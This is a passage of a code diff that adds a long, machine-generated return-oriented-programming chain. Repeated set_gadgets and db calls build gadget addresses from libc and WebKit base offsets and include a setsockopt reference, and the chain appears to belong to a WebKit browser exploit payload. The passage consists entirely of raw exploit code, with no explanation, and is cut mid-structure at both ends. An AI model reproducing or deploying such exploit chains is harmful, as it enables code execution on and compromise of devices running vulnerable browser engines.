+libc_base+430587, +libc_base+713278 +]); +db([4294967096, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([184, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967104, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([176, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967112, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([168, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+772328 +]); +db([4294967280, 4294967295]); +set_gadgets([ +webkit_base+5236215, +libc_base+772328, +setsockopt_addr, +webkit_base+2989859, +libc_base+713278 +]); +db([4294967192, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278 +]); +db([48, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+740138, +libc_base+430587, +libc_base+713278 +]); +db([32, 0]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278 +]); +db([24, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([128, 0]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278, +ropchain+344552, +webkit_base+4687784, +libc_base+489696 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+344624, +webkit_base+4687784, +libc_base+740138, +webkit_base+1420514 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+344688, +webkit_base+4687784, +libc_base+740138, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([32, 0]); +set_gadgets([ +libc_base+207036, +libc_base+740138, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+344816, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+972324, +libc_base+713278, +ropchain+344872, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+713278, +ropchain+344936, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+345024, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+345040, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+345200, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+345232, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+345184, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+345216, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+345312, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+345328, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+345424, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+345408, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+345520, +webkit_base+4687784, +libc_base+768796 +]); +db([512, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([512, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+345664, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+345680, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+345648, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +webkit_base+15055763, +webkit_base+47019, +libc_base+232261, +libc_base+713278, +ropchain+345856, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+345872, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+345840, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+346000, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+346032, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+346016, +webkit_base+4687784, +libc_base+713278 +]); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+11809960, +libc_base+232261, +webkit_base+426067, +libc_base+713278, +ropchain+346144, +libc_base+507828, +libc_base+145226, +libc_base+713278, +ropchain+346136, +webkit_base+4687784, +webkit_base+1816389, +libc_base+489696 +]); +db([0, 0]); +set_gadgets([ +ropchain+346160, +ropchain+346176, +libc_base+489696, +ropchain+346192, +libc_base+489696, +ropchain+349280, +libc_base+768796 +]); +db([20, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([46, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([41, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+346440, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+346528, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+346544, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+346688, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+346704, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+346672, +webkit_base+4687784, +libc_base+713278 +]); +db([24, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+346792, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+346808, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+346952, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+346920, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+346936, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+347024, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+347080, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+347176, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+347264, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+347280, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+347440, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+347472, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+347424, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+347456, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+347632, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+347584, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+347600, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([4, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+1537212, +libc_base+713278, +ropchain+347712, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+347728, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+347816, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+347872, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+348000, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+348032, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+348016, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+348192, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+348224, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+348176, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+348208, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+348304, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+348320, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+348416, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+348400, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+348520, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+358624, +libc_base+863109, +libc_base+713278 +]); +db([4294967256, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+348608, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+348696, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+348712, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+348872, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+348904, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+348856, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+348888, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+349000, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+348984, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+349088, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+349160, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+972324, +libc_base+713278, +ropchain+349224, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+489696, +ropchain+344880, +libc_base+713278, +ropchain+349336, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([24, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+349424, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+349440, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+349584, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+349552, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+349568, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+844101, +libc_base+713278, +ropchain+349832, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+349848, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+349984, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+350072, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+350088, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+350232, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+350200, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+350216, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+350336, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+339256, +libc_base+863109, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+740138, +libc_base+713278 +]); +db([4294967268, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+350464, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+972324, +libc_base+713278, +ropchain+350520, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+713278, +ropchain+350584, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967268, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+350672, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+350688, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+350848, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+350880, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+350832, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+350864, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+350960, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+350976, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+351072, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+351056, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+351168, +webkit_base+4687784, +libc_base+768796 +]); +db([512, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([512, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+351312, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+351328, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+351296, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +webkit_base+15055763, +webkit_base+47019, +libc_base+232261, +libc_base+713278, +ropchain+351504, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+351520, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+351488, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+351648, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+351680, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+351664, +webkit_base+4687784, +libc_base+713278 +]); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+11809960, +libc_base+232261, +webkit_base+426067, +libc_base+713278, +ropchain+351792, +libc_base+507828, +libc_base+145226, +libc_base+713278, +ropchain+351784, +webkit_base+4687784, +webkit_base+1816389, +libc_base+489696 +]); +db([0, 0]); +set_gadgets([ +ropchain+351808, +ropchain+351824, +libc_base+489696, +ropchain+351840, +libc_base+489696, +ropchain+357656, +libc_base+388400, +libc_base+713278, +ropchain+351896, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+352008, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+351992, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+740138, +libc_base+713278, +ropchain+352104, +webkit_base+4687784, +libc_base+713278 +]); +db([4294967276, 4294967295]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+352160, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+352216, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+740138, +libc_base+713278, +ropchain+352320, +webkit_base+4687784, +libc_base+713278 +]); +db([4294967276, 4294967295]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+352424, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+352512, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+352528, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+352672, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+352688, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+352656, +webkit_base+4687784, +libc_base+713278 +]); +db([24, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+352776, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+352792, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+352936, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+352904, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+352920, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+353008, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+353064, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+353160, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967268, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+353248, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+353264, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+353424, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+353456, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+353408, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+353440, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+353616, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+353568, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+353584, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([4, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+1537212, +libc_base+713278, +ropchain+353696, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+353712, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+353800, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+353856, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+353984, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+354016, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+354000, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+354176, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+354208, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+354160, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+354192, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+354288, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+354304, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+354400, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+354384, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+354504, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+196160, +libc_base+863109, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+740138, +libc_base+713278, +ropchain+354592, +webkit_base+4687784, +libc_base+713278 +]); +db([4294967276, 4294967295]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+354704, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, 